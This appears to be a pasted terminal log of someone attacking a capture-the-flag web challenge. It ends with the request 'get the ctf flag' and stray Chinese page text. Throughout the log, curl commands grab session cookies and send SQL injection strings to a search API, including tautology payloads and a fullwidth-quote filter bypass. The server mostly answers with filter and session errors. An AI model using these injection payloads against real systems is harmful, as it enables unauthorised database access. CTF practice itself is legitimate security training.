Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
RateLimit-Policy: 35;w=60
RateLimit-Limit: 35
RateLimit-Remaining: 32
RateLimit-Reset: 45
Set-Cookie: prime_session=cfgMuMlGxg0N5BhGOsadrgjxhpG7%2FKI1; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 10:50:44 GMT; HttpOnly; SameSite=Strict
Allow: POST
Content-Type: text/html; charset=utf-8
Content-Length: 4
ETag: W/"4-Yf+Bwwqjx254r+pisuO9HfpJ6FQ"
Date: Tue, 25 Aug 2026 09:50:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

POST
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -i -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"","category":""}}'
HTTP/1.1 403 Forbidden
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
RateLimit-Policy: 35;w=60
RateLimit-Limit: 35
RateLimit-Remaining: 30
RateLimit-Reset: 14
Content-Type: application/json; charset=utf-8
Content-Length: 97
ETag: W/"61-IAscTTSDDYYhxLaT8IQUYLG4p0Q"
Date: Tue, 25 Aug 2026 09:51:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -i -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H 'Referer: http://13.60.42.7:3004/registry' --data '{"query":{"term":"","category":""}}'
HTTP/1.1 403 Forbidden
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
RateLimit-Policy: 35;w=60
RateLimit-Limit: 35
RateLimit-Remaining: 33
RateLimit-Reset: 55
Content-Type: application/json; charset=utf-8
Content-Length: 97
ETag: W/"61-IAscTTSDDYYhxLaT8IQUYLG4p0Q"
Date: Tue, 25 Aug 2026 09:51:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -i -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H 'Referer: http://13.60.42.7:3004/registry' --data '{"query":{"term":"","category":""}}'
HTTP/1.1 403 Forbidden
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
RateLimit-Policy: 35;w=60
RateLimit-Limit: 35
RateLimit-Remaining: 31
RateLimit-Reset: 46
Content-Type: application/json; charset=utf-8
Content-Length: 97
ETag: W/"61-IAscTTSDDYYhxLaT8IQUYLG4p0Q"
Date: Tue, 25 Aug 2026 09:51:48 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Cookie: prime_session=L2Hk4c7IC%2BpQPgWwUEWEOoEPsRigpOC7

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -v -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"","category":""}}' 2>&1 | grep -iE '^> |^< '

POST /api/search HTTP/1.1
Host: 13.60.42.7:3004
User-Agent: curl/8.20.0
Accept: /
Cookie: prime_session=L2Hk4c7IC%2BpQPgWwUEWEOoEPsRigpOC7
Content-Type: application/json
Content-Length: 35

< HTTP/1.1 403 Forbidden
< Cross-Origin-Opener-Policy: same-origin
< Cross-Origin-Resource-Policy: same-origin
< Origin-Agent-Cluster: ?1
< Referrer-Policy: no-referrer
< Strict-Transport-Security: max-age=15552000; includeSubDomains
< X-Content-Type-Options: nosniff
< X-DNS-Prefetch-Control: off
< X-Download-Options: noopen
< X-Frame-Options: DENY
< X-Permitted-Cross-Domain-Policies: none
< X-XSS-Protection: 0
< X-PRIME-SHIELD: ACTIVE
< X-SQL-PROTECTION: LAYER-3
< X-AI-GUARDIAN: v4.2.1
< RateLimit-Policy: 35;w=60
< RateLimit-Limit: 35
< RateLimit-Remaining: 30
< RateLimit-Reset: 12
< Content-Type: application/json; charset=utf-8
< Content-Length: 97
< ETag: W/"61-IAscTTSDDYYhxLaT8IQUYLG4p0Q"
< Date: Tue, 25 Aug 2026 09:52:22 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i http://13.60.42.7:3004/registry -o /tmp/reg.html -D /tmp/reg_headers.txt && cat /tmp/reg_headers.txt
HTTP/1.1 200 OK
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
Set-Cookie: prime_session=AKm3y%2FLLCEfqd1u7mZoNYdeUz4zFbNjV; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 10:52:39 GMT; HttpOnly; SameSite=Strict
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 25 Aug 2026 08:18:45 GMT
ETag: W/"4221-1a038001688"
Content-Type: text/html; charset=UTF-8
Content-Length: 16929
Date: Tue, 25 Aug 2026 09:52:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && sleep 2 && curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/latest >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/stats >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"","category":""}}'

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'set-cookie' | sed -n 's/.prime_session=([^;]);.*/\1/p') && echo "Session:$ SESSION" && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$SESSION" --data '{"query":{"term":"","category":""}}'
Session:
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i http://13.60.42.7:3004/registry | grep -i 'set-cookie'

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i http://13.60.42.7:3004/registry | head -30
HTTP/1.1 200 OK
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
Set-Cookie: prime_session=FQS4PmlUHpygMDHnrPayhDt7GqZyTZpU; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 10:54:56 GMT; HttpOnly; SameSite=Strict
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 25 Aug 2026 08:18:45 GMT
ETag: W/"4221-1a038001688"
Content-Type: text/html; charset=UTF-8
Content-Length: 16929
Date: Tue, 25 Aug 2026 09:54:56 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8">

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && echo "Session:$ SESSION" && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"","category":""}}' Session: 0xpbdatil90Cd2CVc5kRgLQVjbirgglU {"count":8} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"'"'"'","category":""}}' {"error":"Registry scan returned no coherent biosignature."} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"x'"'"' OR '"'"'1'"'"'='"'"'1","category":""}}' {"count":0} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"x%'"'"' OR 1=1 --","category":""}}' {"error":"Query contains restricted patterns"} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"x'"'"' OR 1=1","category":""}}' {"error":"PRIME datalink interrupted."} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"x'"'"' OR 1=1-- ","category":""}}' {"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session= $SESSION" --data '{"query":{"term":"x'"'"' OR 1=1-- ","category":""}}' {"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"} ┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT] └─# SESSION=$ (curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && sleep 1 && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$SESSION" --data '{"query":{"term":"x'"'"' OR 1=1-- ","category":""}}'^C

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# cat > /tmp/payload2.json << 'EOF'
{"query":{"term":"x'-- ","category":""}}
EOF
SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload2.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# cat > /tmp/payload3.json << 'EOF'
{"query":{"term":"x'","category":""}}
EOF
SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload3.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# cat > /tmp/payload4.json << 'EOF'
{"query":{"term":"x\uff07 OR 1=1-- ","category":""}}
EOF
SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]*' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload4.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i http://13.60.42.7:3004/api/
HTTP/1.1 404 Not Found
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
RateLimit-Policy: 35;w=60
RateLimit-Limit: 35
RateLimit-Remaining: 3
RateLimit-Reset: 5
Set-Cookie: prime_session=z9i3NIa4nFx3X25S%2FSolpsJPoeN2pny9; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 11:03:55 GMT; HttpOnly; SameSite=Strict
Content-Type: application/json; charset=utf-8
Content-Length: 64
ETag: W/"40-Ro2zCsblzFlfMkZkRB3SDgSHvD0"
Date: Tue, 25 Aug 2026 10:03:55 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"error":"PRIME endpoint not found","code":"UNREGISTERED_ROUTE"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# cat > /tmp/payload5.json << 'EOF'
{"query":{"term":"x\uff07","category":""}}
EOF
SESSION= $(curl -s -i http://13.60.42.7:3004/registry | grep -i 'Set-Cookie' | grep -o 'prime_session=[^;]*' | cut -d= -f2) && curl -s http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H "Cookie: prime_session=$ SESSION" --data @/tmp/payload5.json
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -b cookies.txt -e 'http://13.60.42.7:3004/registry' -H 'Origin: http://13.60.42.7:3004' -H 'Content-Type: application/json' http://13.60.42.7:3004/api/search --data '{"query":{"term":"language","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─#

get the ctf flag

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/C...

問題

分享這個問答